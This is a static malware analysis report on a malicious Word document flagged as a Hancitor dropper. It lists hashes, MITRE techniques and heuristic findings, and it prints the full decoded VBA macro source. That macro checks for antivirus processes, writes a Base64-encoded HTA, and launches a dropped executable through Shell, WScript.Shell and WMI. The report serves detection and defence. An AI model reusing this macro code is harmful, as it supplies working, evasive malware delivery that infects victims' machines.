Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3977ac445cb7b8d…

MALICIOUS

Office (OLE)

223.0 KB Created: 2018-09-27 13:03:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c84b1f9e1676ab7b0e7ec50c8e0d8446 SHA-1: ff2eaa3ea73eab2b83f11c82cb8cfad29e83d83e SHA-256: c3977ac445cb7b8d0acd563a150b514ca324c7ff14921d1a81a4b9cb45a42ac8
600 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample contains critical VBA heuristics indicating malicious intent, including Shell() calls, WScript.Shell usage, and WMI process creation. The Document_Open macro is designed to execute a Base64-decoded command, specifically 'cmd.exe /c ping localhost -n 100 &&', which is a common stager technique. The embedded 'macros.bas' script also attempts to interact with WMI to launch a process named 'bdagent.exe', suggesting it's a dropper for a secondary payload.

Heuristics 16

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Dropper.Hancitor-6774061-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Hancitor-6774061-0
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set vcxvxczcv = GetObject("wi" & "nmgmts:")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Open Environ("Temp") & "\1.hta" For Output As #1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6039 bytes
SHA-256: 381ed55715cd80b983072b52ba54df581b64935b3dd2e02302cdfe4811ba184f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next


Call kfs
    


Call sdfsdf

 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13

  Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo

End Sub

Private Sub Document_Close()
Call closee

End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function

Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub

Attribute VB_Name = "Module2"
Sub closee()


Dim kjfaa

kjfaa = "bd" & "agent.exe"

Dim yrtfdsad, vcxvxczcv
Dim mbbmbdf
Set vcxvxczcv = GetObject("wi" & "nmgmts:")
Dim gfdfsfsfs
Set yrtfdsad = vcxvxczcv.ExecQuery("SELECT * FROM Win32_Process")
Dim hdffsdfs
For Each x In yrtfdsad
Set wsh = VBA.CreateObject("WScript.Shell")
Dim pipec As Boolean: pipec = True


 If x.Name = kjfaa Then
 Dim kk
 kk = StrConv(DecodeBase64("IFd" & "JTkRPV1NUQVRFPSJub3JtYWwiPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQogICAgDQogICAgICAgIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCiAgICAgICAgV3NoU2hlbGwuUnVuKCI2LmV4ZSIsIDEsIGZhbHNlKTsNCiAgICAgICAgDQogICAgPC9zY3JpcHQ+DQogPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPg0KICAgICAgICAgIFdpbmRvdy5DbG9zZQ0KICAgICA8L1NDUklQVD4NCjwvaGVhZD4NCjxib2R5Pg0KICAgDQo8L2JvZHk+DQo8L2h0bWw+DQo="), vbUnicode)
 
Open Environ("Temp") & "\1.hta" For Output As #1
  Print #1, StrConv(DecodeBase64("PGh0bWw+DQo8aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode)
  Print #1, kk
  Close #1
  
ChDir Environ("Temp")
wsh.Run Environ("Temp") & "\1.hta", 0, False
Exit Sub
   End If
    
   
    If x.Name = "PSUAMain.exe" Then

  Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
   
       If x.Name = "n360.exe" Then

  Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

Exit Sub
   End If
Next


Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYucGlm"), vbUnicode), vbHide


End Sub


Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function



Attribute VB_Name = "Module3"
Sub kfs()
Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
 Selection.MoveRight Unit:=wdCharacter, Count:=24
    Selection.TypeBackspace
        Selection.Copy

End Sub

Attribute VB_Name = "Module4"

Sub sdfsdf()

Dim kk, lll, jgf, tyretw, gdfsfsa
gdfsfsa = "6"
jgf = "x" & "e"

tyretw = jgf & "p" & "i" & "f"
kk = ".p" & "if"
lll = "6" & ".e"
ChDir Environ("Te" & "mp")
Selection.TypeBackspace

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")


FSO.copyfile Source:="5C" & kk, Destination:=lll & jgf
Call fadf
End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function
Sub fadf()
kk = ".p" & "if"

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")

FSO.copyfile Source:="5C" & kk, Destination:="6" & ".pif"
End Sub


Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{03597D0D-30AB-4D75-A9F6-EE18B61C8BF3}{A9048FBB-A586-4F13-AAE7-1E7F621C35B3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3C891EA0-7856-4307-ADB2-3551DDC31345}{2D23EF38-5B2A-4D92-A550-6B64DF9CDBD6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1599569394/Ole10Native 82196 bytes
SHA-256: 4ae9a7ca25aa97d6f1b4c279d95f8f9cca9ba1872b2378ccdd291042d46675c3

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